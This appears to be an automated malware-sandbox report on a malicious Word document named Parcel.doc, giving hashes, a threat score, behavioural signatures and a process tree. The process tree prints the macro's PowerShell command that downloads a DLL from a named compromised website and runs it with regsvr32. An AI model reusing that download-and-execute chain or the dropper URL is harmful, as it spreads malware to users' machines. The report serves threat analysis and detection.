Overview

overview

10

Static

static

8

Parcel.doc

windows7_x64

10

Parcel.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    69s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    07-07-2020 12:18

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General

  • Target

    Parcel.doc

  • Size

    153KB

  • MD5

    fa02ac2e4a3f00acdaa60c359afcfdd9

  • SHA1

    f2917cf0b679650c3a679381f4d34bd1e12674c0

  • SHA256

    798868c3e5106b388a0ff01e3f5894fe6d5abfa0789d9efae9b3fe0d0d0db7e6

  • SHA512

    81f9ec1e2b59189e2e6a3fdfbd8b7e33dec15ff4d41ae57884efde51af247fbf53065d0275a8bbe19e235893d905a52de3ba1a310756b54052ca6567a157178d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://tattooartcreations.com/wp-includes/js/tinymce/themes/inlite/crypt_da11.dll

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Parcel.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "& {(New-Object Net.WebClient).DownloadFile('http://tattooartcreations.com/wp-includes/js/tinymce/themes/inlite/crypt_da11.dll','C:\Users\Admin\AppData\Roaming\filename.dll')}"
      2⤵
      • Blacklisted process makes network request
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:744
    • C:\Windows\System32\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Roaming\filename.dll,DllRegisterServer
      2⤵
      • Process spawned unexpected child process
      PID:1520

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/744-6-0x0000000000000000-mapping.dmp
    Download
  • memory/1460-0-0x00000000002BC000-0x00000000002C0000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1460-2-0x0000000008920000-0x0000000008924000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1520-7-0x0000000000000000-mapping.dmp
    Download